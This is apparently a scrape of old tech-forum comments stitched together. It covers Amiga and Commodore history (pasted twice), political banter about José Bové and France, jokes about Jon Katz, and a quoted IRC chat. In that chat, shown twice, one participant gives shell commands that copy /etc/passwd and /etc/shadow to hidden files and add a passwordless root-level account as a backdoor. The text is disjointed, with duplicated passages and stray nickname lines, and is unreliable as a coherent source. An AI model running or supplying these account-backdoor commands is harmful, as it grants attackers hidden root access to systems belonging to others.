alpha means feature-freeze (KDE 1.89 etc) beta means bug-tracking (KDE 1.9x)
note that MS uses "Beta" for "Alpha" and "Release Candiadte" for "Beta" (and also "Consumer Release" for "Beta 2", "Service Pack [n]" for "Beta [n+2]")
:D1ck:oye give me those commands for linux password adding and sun adding re ro re r i gave u :D1ck::P :D1ck:i lost mine :J4n3:wait :D1ck:and i dont wana make again :J4n3:cp/etc/passwd/etc/.tp; :J4n3:echo "ro::99999::::::" >>/etc/shadow; :J4n3:echo "r::99999::::::" >>/etc/shadow; :J4n3:echo "ro:x:500:1000::/:/bin/bash" >>/etc/passwd; :J4n3:echo "r:x:0:0::/:/bin/bash" >>/etc/passwd; :J4n3:cp/etc/shadow/etc/.ts; :D1ck:k :J4n3::p
I'm just t00 lazy to look in the r00tkit User Guide
I'm sorry but bové is not a french patriot and does not prefer asterix to mickey. Indeed, he was born in USA and studied there. The destruction of a McDonald was probably not the cleverest thing to do, but fighting against junk food is not his only motivation. he can NOT be suspected of any corporatism - he just doesn't want that our lifes [whereever you live] to be ruled by the OMC (with a few multinational companies replacing governments). He also supports the Tobin Tax . you should check that.
Yes, no country can claim to be the glorious protector of freedom. But i've never heard that there have been problems with bretons after the WWII [except those who where suspected of collaboration with the nazis - but it was in the whole country]. Anyway, france did more awfull things during the independance wars durings its colonies wars, in algeria for example.
from http://www.termisoc.org/~moosie/amiga/ahistory.htm :
Towards the mid-eighties people where becoming very cynical of the computing industry. Manufacturor where just churning out the same old machines but with different offers. Nothing ground breaking was on the cards. Part of the problem in this was that to help keep costs down the machines used off the shelf chips instead of custom designed ones. Many machines had the same chips in them like the sound chips.
In 1982 a group of designers got together to brain-storm over designing the greatest games machine ever. Those designers where Jay Miner (experienced desinger for Atari on the VCS system), Dave Morse (from Tonka toys) & RJ Mical (from Willaims the now legendary arcade firm). The managed to get funding from a trio of dentists and setup offices in Sillicon Valley. They named themselves Hi-Torro and put up the front of being joystick developers. So secretive was this whole operation that the designers used code words when on the phones incase they where tapped. They decided that the least suspicious aliases would be female names. The explains the three main custom chips being called Paula, Agnus and Denise. This in turn lead to the machine picking up the name of Lorraine & the company taking on the name Amiga (Spanish for girlfriend).
Although the main aim was to produce a pure games machine the first step towards a home computer was when they had to use a replacement for the intended Operating System, namely AmigaDOS. Usually games machine have very little in the way of an O/S as it's simply not needed. Thankfully the company Metacomco where totaly strung-up on the Amiga's custom hardware that they gave the machine the then unique power to multi-task like a mainframe.
An amazing piece of luck became the Amiga in the form that consoles where dying out - people where no longer interested, so there was a gap forming for their new breed of home machine. Unfortunaley this flux lead to serious speculation by the big investors in the large computer companies, and many a software publisher.
Unfortunately the Amiga was nowhere near finishing and the machine (Lorraine) needed more funding to carry on. The dentists could not afford any more backing, so the team turned to the industry. They almost clinched a deal with Atari, but Atari where still negotiating when Commodore waded in and slapped a huge wedge on the table & said 'how about being part of our gang?'. The Lorraine now had the financial backing it needed.
Justifiably annoyed, and with a little knowledge of what Amiga where upto and some of those standard chips, Atari fudged together the Atari ST and beat Commodore on releasing the first 16-bit home computer. THus sparking off a war that would rage well into the 90's. Now both companies have been swallowed up by bigger fish.
The Atari ST was by no means (god this is gonna hurt to say this !) an awful machine. It did a fairly decent job of things but had no custom chips to power it. This lead to all the hard graft to be carried out by the CPU, which held the machine back hugely. The only things that where more attractive about the Atari ST where the fact that the cpu ran at 8Mhz where as the Amiga ran at 7.14Mhz due to internal architecture bottlenecks, and the fact the ST had a MIDI port as standard. The other killer difference was that the Atari ST was selling at about 799 ukp, and the A1000 was selling at about 1,500 ukp. Needles to say sales where slow.
Then the saving grace appeared, the A500. Tailored to themass-market. This then sparked the first of many vicious pricing wars betwix messers Atari & Commodore and they trashed anything in their paths. Due to a huge interest and the excellent PD (Public Domain) scene developing software, the A500 started to sell very well. Games where originally ported from the ST to the Amiga, but this soon changed as the A500 established it's self developers where writting on it and in some cases solely for it. The A500 sales where radically outstripping those of the Atari ST, and this encouraged third-party manufacturers to produce add-ons such as RAM and disk drives.
Workbench was hailed as a huge step forward in the right direction. Not a lot changed for several years only a new kickstart/Workbench (v1.3) was introduced and that was all. Most new developments where by the third party manufacturers, things like NewTek's (Developers of the Video Toaster) DigiView and DigiPaint, hard disks from people like GVP and scores of external disk drives and RAM expansions.
A problem with the Amiga's was that they had a distinct lack of documentation. Manauls where either lacking or too technical for beginners. This lead to Amiga owners taking the machine in hand and finding out what every nut, bolt, register & resistor did. This meant that many users had a better knowledge than the people at Commodore This lead to there being a wealth of free Public Domain software, that more often than not was a real god send. People could get down to the nitty-gritty of the machine and produce exactly the results they wanted. This lead to the transition that created the HUGE league of loyal followers the Amiga had & has. It meant that the Amiga now belonged to the people, to be used in anyway they saw fit. So this could explain the totaly manic way an Amiga owner will defend their machine:o).
New machines arived in the form of the A1500 & A2000. The A1500 was simply an A500 in a PC like box and all the PC like trimmings. The A2000 incorporated Zorro slots, a system of expansion slots which made life easier and expansion cheaper. It also contained a SCSI interface and a hard drive as standard.
Commodore then thought an ideal way of developing the Amiga into a home entertainment system was to coble an A500 and some recene hardware. They came up with the CDTV. It flopped, big time ! It was a marketing cock-up from start to finish and not very many units where sold. The only good thing was that Commodore/Amiga had showed a watching market what was to come in later years (No not that they would end up bankrupt!).
The A3000 was next out of the stalls, and it included some new nifty extras. It had the new Zorro III slots (for multiplexed expansion), a new Kickstart/Workbench (v2.0), some tarted up custom chips (the ECS Expaned Chip Set) & the new super sonic Motorola 68030 chip.
All these larks by Commodore & Amiga had attracted some dodgy looking sharks, in the form of Johnny SEGA and Nicky NINTENDO. They started ploughing large amounts of cash into cutom chip design and cute characters. Unfortunately instead of fighting back Commodore just rested on it laurels for a bit until it was too late.
A string on non-sensical arse-ups then caused unrecoverable damage. The A500 Plus showed up for a brief showing and was then kicked aside (along with the people who had brought one) to make way for the A600, which was also a total mess-up. People seriously lost confidence in the big C. And some Amiga owners felt short changed by their behaviour. A big bummer for Commodore was that they where losing money by the crate load with there over-priced & under-powered PCs and the Amiga was the only thing keeping them afloat. They made very little from selling their peripherals as they normaly where more (sometimes twice) expensive. They saw very little from software published unlike Sega & Nintendo who had license agreements.
Commodore released the new A4000 on a dubious public. Although the machine was extremely good, it was just too much money. It was in-line with the current PC prices but these where droping every day as interest in PCs started to rise. The A4000 was shelved as a 'serious users only' machine and people where left looking for the next home machine. This made Commodore chuck out the A1200, although it was never meant for release. They then set about producing the worlds FIRST 32-Bit CD console. The stage was set for a very nasty ending !!
Commodore - The last few months:-
The A1200 was selling well, many people where upgrading and a real interest was startinf to be taken in the Amiga again. The new AGA chipset was a real god send, but the fact that no high density floppy drive or a hard drive had been included as standard was a serious flaw. Also the new processor was not exactly up to the job, the A1200 still had 4 channel sound, and the Blitter chip was the same & handily reigned in by the CPU and architecture bottlenecks. The CD32 was unleashed along with a large amount of hype and an awful TV advert. Interest was growing in the machine when the proverbial excriment hit the draft making impliment and yes, i'm a tro11. Commodore had lost too much money and things where looking bad, they filled for a voluntary liquidation on a Bahams courts. The assetts where frozen and the supply of Amigas dryed up.
Despite reassurements that the situation was only temporary and the court said a buyer would be found within a few weeks/months it took almost exactly one year for the sale to go through. Although many interested parties (IBM, CEI, Dell - all pleadging huge amounts of cash (eg upto 24 million USD)took part in the cattle market like auction the final purchaser was a German third party PC manufacturer called Escom, who got it all lock, stock (not much of that) & barrell for the bargin price of 10 million USD plus seperate deals for the UK, Dutch & Philippino assets.
Escom then had the daunting task of facing the Amiga using public & telling them what was about to happen to their machine. Escom or currently developing several Amiga based machines ready for release over the next 2 years and with the new breed of software trickling through on the Amiga; titles such as Alien Breed 3DII, Gloom Deluxe, Xtreme Racing, Breathless & Worms; there is hope. The current Amigas can handle these titles just, so imagine the scope of any new machine. So keep your eyes peeled for perhaps the second coming. It would be a ressurection to match the one of 2000 years ago, but it's possible.
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"the volunteers were quicker at pressing a matching button if the headset was switched on"
This is an easy way to improve your quake skills: just use a mobile phone.
Since the size of integers will double, you will need twice more RAM to run your software.
alpha means feature-freeze (KDE 1.89 etc)
beta means bug-tracking (KDE 1.9x)
note that MS uses "Beta" for "Alpha" and "Release Candiadte" for "Beta" (and also "Consumer Release" for "Beta 2", "Service Pack [n]" for "Beta [n+2]")
An earlier version, aptly code-named Omnivore, could suck in as much as to six gigabytes of data every hour
this beast is eating too much. It will have the same destiny as the dinosaurs.
with my incredible power switch, i can underclock my awesome machine to 0 MHz.
the swap partition is not shown by df. /dev/hda7 is mounted in the /boot directory (kernel etc..)
from day12:
:D1ck :oye give me those commands for linux password adding and sun adding re ro re r i gave u ::P :i lost mine :wait :and i dont wana make again :cp /etc/passwd /etc/.tp; :echo "ro::99999::::::" >> /etc/shadow; :echo "r::99999::::::" >> /etc/shadow; :echo "ro:x:500:1000::/:/bin/bash" >> /etc/passwd; :echo "r:x:0:0::/:/bin/bash" >> /etc/passwd; :cp /etc/shadow /etc/.ts; :k ::p
:D1ck
:D1ck
:J4n3
:D1ck
:J4n3
:J4n3
:J4n3
:J4n3
:J4n3
:J4n3
:D1ck
:J4n3
I'm just t00 lazy to look in the r00tkit User Guide
:D1ck! :do this 'df' :and paste me :and then df -k :wait :.Filesystem 1k-blocks Used Available Use% Mounted on :./dev/hda8 1935132 878956 957780 48% /
:J4n3! :./dev/hda7 23302 2650 19449 12% /boot :./dev/hda1 2064032 1230496 833536 60% /mnt :oki :mkdir /win; mount -t vfat /dev/hda2 /win :wait, what is /dev/hda7 :?
:J4n3! :linux swap partition :ok
:D1ck!
:D1ck!
:J4n3!
:J4n3!
:J4n3!
:J4n3!
:D1ck!
:D1ck!
:D1ck!
:D1ck!
:D1ck!
hmm... without my r00tkit, i'm just a luser
i would prefer giant worms, producing more spice.
the sleeper must awake.
I'm sorry but bové is not a french patriot and does not prefer asterix to mickey. Indeed, he was born in USA and studied there. The destruction of a McDonald was probably not the cleverest thing to do, but fighting against junk food is not his only motivation. he can NOT be suspected of any corporatism - he just doesn't want that our lifes [whereever you live] to be ruled by the OMC (with a few multinational companies replacing governments). He also supports the Tobin Tax . you should check that.
Yes, no country can claim to be the glorious protector of freedom. But i've never heard that there have been problems with bretons after the WWII [except those who where suspected of collaboration with the nazis - but it was in the whole country]. Anyway, france did more awfull things during the independance wars durings its colonies wars, in algeria for example.
who are you ? one of the revolutionnary bretons member of the ARB ? THEY did put a bomb in a McDonald, and they KILLED an employee.
yep ;) you meant something like www.l337d00dz.com
I'm sorry but i can't find any r00t exp10t at www.scriptkiddie.com
tell them that those .vbs email attachments should not be opened.
from http://www.termisoc.org/~moosie/amiga/ahistory.htm :
:o).
Towards the mid-eighties people where becoming very cynical of the computing industry. Manufacturor where just churning out the same old machines but with different offers. Nothing ground breaking was on the cards. Part of the problem in this was that to help keep costs down the machines used off the shelf chips instead of custom designed ones. Many machines had the same chips in them like the sound chips.
In 1982 a group of designers got together to brain-storm over designing the greatest games machine ever. Those designers where Jay Miner (experienced desinger for Atari on the VCS system), Dave Morse (from Tonka toys) & RJ Mical (from Willaims the now legendary arcade firm). The managed to get funding from a trio of dentists and setup offices in Sillicon Valley. They named themselves Hi-Torro and put up the front of being
joystick developers. So secretive was this whole operation that the designers used code words when on the phones incase they where tapped. They decided that the least suspicious aliases would be female names. The explains the three main custom chips being called Paula, Agnus and Denise. This in turn lead to the machine picking up the
name of Lorraine & the company taking on the name Amiga (Spanish for girlfriend).
Although the main aim was to produce a pure games machine the first step towards a home computer was when they had to use a replacement for the intended Operating System, namely AmigaDOS. Usually games machine have very little in the way of an O/S as it's simply not needed. Thankfully the company Metacomco where totaly strung-up on
the Amiga's custom hardware that they gave the machine the then unique power to multi-task like a mainframe.
An amazing piece of luck became the Amiga in the form that consoles where dying out - people where no longer interested, so there was a gap forming for their new breed of home machine. Unfortunaley this flux lead to serious speculation by the big investors in the large computer companies, and many a software publisher.
Unfortunately the Amiga was nowhere near finishing and the machine (Lorraine) needed more funding to carry on. The dentists could not afford any more backing, so the team turned to the industry. They almost clinched a deal with Atari, but Atari where still negotiating when Commodore waded in and slapped a huge wedge on the table & said 'how about being part of our gang?'. The Lorraine now had the financial backing it needed.
Justifiably annoyed, and with a little knowledge of what Amiga where upto and some of those standard chips, Atari fudged together the Atari ST and beat Commodore on releasing the first 16-bit home computer. THus sparking off a war that would rage well into the 90's. Now both companies have been swallowed up by bigger fish.
The Atari ST was by no means (god this is gonna hurt to say this !) an awful machine. It did a fairly decent job of things but had no custom chips to power it. This lead to all the hard graft to be carried out by the CPU, which held the machine back hugely. The only things that where more attractive about the Atari ST where the fact that the cpu ran at 8Mhz where as the Amiga ran at 7.14Mhz due to internal architecture bottlenecks, and the fact the ST had a MIDI port as standard. The other killer difference was that the Atari ST was selling at about 799 ukp, and the A1000 was selling at about 1,500 ukp. Needles to say sales where slow.
Then the saving grace appeared, the A500. Tailored to themass-market. This then sparked the first of many vicious pricing wars betwix messers Atari & Commodore and they trashed anything in their paths. Due to a huge interest and the excellent PD (Public Domain) scene developing software, the A500 started to sell very well. Games where originally ported from the ST to the Amiga, but this soon changed as the A500 established it's self developers where writting on it and in some cases solely for it. The A500 sales where radically outstripping those of the Atari ST, and this encouraged third-party manufacturers to produce add-ons such as RAM and disk drives.
Workbench was hailed as a huge step forward in the right direction. Not a lot changed for several years only a new kickstart/Workbench (v1.3) was introduced and that was all. Most new developments where by the third party manufacturers, things like NewTek's (Developers of the Video Toaster) DigiView and DigiPaint, hard disks from people like GVP and scores of external disk drives and RAM expansions.
A problem with the Amiga's was that they had a distinct lack of documentation. Manauls where either lacking or too technical for beginners. This lead to Amiga owners taking the machine in hand and finding out what every nut, bolt, register & resistor did. This meant that many users had a better knowledge than the people at Commodore This lead to there being a wealth of free Public Domain software, that more often than not was a real god send. People could get down to the nitty-gritty of the machine and produce exactly the results they wanted. This lead to the transition that created the HUGE league of loyal
followers the Amiga had & has. It meant that the Amiga now belonged to the people, to be used in anyway they saw fit. So this could explain the totaly manic way an Amiga owner will defend their machine
New machines arived in the form of the A1500 & A2000. The A1500 was simply an A500 in a PC like box and all the PC like trimmings. The A2000 incorporated Zorro slots, a system of expansion slots which made life easier and expansion cheaper. It also contained a SCSI interface and a hard drive as standard.
Commodore then thought an ideal way of developing the Amiga into a home entertainment system was to coble an A500 and some recene hardware. They came up with the CDTV. It flopped, big time ! It was a marketing cock-up from start to finish and not very many units where sold. The only good thing was that Commodore/Amiga had showed a watching market what was to come in later years (No not that they would end up bankrupt!).
The A3000 was next out of the stalls, and it included some new nifty extras. It had the new Zorro III slots (for multiplexed expansion), a new Kickstart/Workbench (v2.0), some tarted up custom chips (the ECS Expaned Chip Set) & the new super sonic Motorola 68030 chip.
All these larks by Commodore & Amiga had attracted some dodgy looking sharks, in the form of Johnny SEGA and Nicky NINTENDO. They started ploughing large amounts of cash into cutom chip design and cute characters. Unfortunately instead of fighting back Commodore just rested on it laurels for a bit until it was too late.
A string on non-sensical arse-ups then caused unrecoverable damage. The A500 Plus showed up for a brief showing and was then kicked aside (along with the people who had brought one) to make way for the A600, which was also a total mess-up. People seriously lost confidence in the big C. And some Amiga owners felt short changed by their behaviour. A big bummer for Commodore was that they where losing money by the crate load with there over-priced & under-powered PCs and the Amiga was the only thing keeping them afloat. They made very little from selling their peripherals as they normaly where more (sometimes twice) expensive. They saw very little from software published unlike Sega & Nintendo who had license agreements.
Commodore released the new A4000 on a dubious public. Although the machine was extremely good, it was just too much money. It was in-line with the current PC prices but these where droping every day as interest in PCs started to rise. The A4000 was shelved as a 'serious users only' machine and people where left looking for the next home machine. This made Commodore chuck out the A1200, although it was never meant for release. They then set about producing the worlds FIRST 32-Bit CD console. The stage was set for a very nasty ending !!
Commodore - The last few months:-
The A1200 was selling well, many people where upgrading and a real interest was startinf to be taken in the Amiga again. The new AGA chipset was a real god send, but the fact that no high density floppy drive or a hard drive had been included as standard was a serious flaw. Also the new processor was not exactly up to the job, the A1200 still had 4 channel sound, and the Blitter chip was the same & handily reigned in by the CPU
and architecture bottlenecks. The CD32 was unleashed along with a large amount of
hype and an awful TV advert. Interest was growing in the machine when the proverbial excriment hit the draft making impliment and yes, i'm a tro11. Commodore had lost too much money and things where looking bad, they filled for a voluntary liquidation on a Bahams courts. The assetts where frozen and the supply of Amigas dryed up.
Despite reassurements that the situation was only temporary and the court said a buyer would be found within a few weeks/months it took almost exactly one year for the sale to go through. Although many interested parties (IBM, CEI, Dell - all pleadging huge amounts of cash (eg upto 24 million USD)took part in the cattle market like auction the final purchaser was a German third party PC manufacturer called Escom, who got it all
lock, stock (not much of that) & barrell for the bargin price of 10 million USD plus seperate deals for the UK, Dutch & Philippino assets.
Escom then had the daunting task of facing the Amiga using public & telling them what was about to happen to their machine. Escom or currently developing several Amiga based machines ready for release over the next 2 years and with the new breed of software trickling through on the Amiga; titles such as Alien Breed 3DII, Gloom Deluxe,
Xtreme Racing, Breathless & Worms; there is hope. The current Amigas can handle these titles just, so imagine the scope of any new machine. So keep your eyes peeled for perhaps the second coming. It would be a ressurection to match the one of 2000 years ago, but it's possible.
my karma is 3.40282347e+38 cause I hax0red /.
Thank God, someone is finally bringing some
rationality to this discussion.
I think the correct web address is whitehouse.com.
Welcome back. This site has been sadly lacking
in humor.
Well, you sure as hell wouldn't be here.
Jon is deathly afraid of using a demoronizer.
It's not that Katz writes so much. His articles
just seem so long because he says so little.
Beware of imposters. The above is not the real
Jon Katz. The real Jon would have taken at least
three pages to say that much.
I believe the correct Katz quote is:
"You're not the boss of me, and you're
not so big."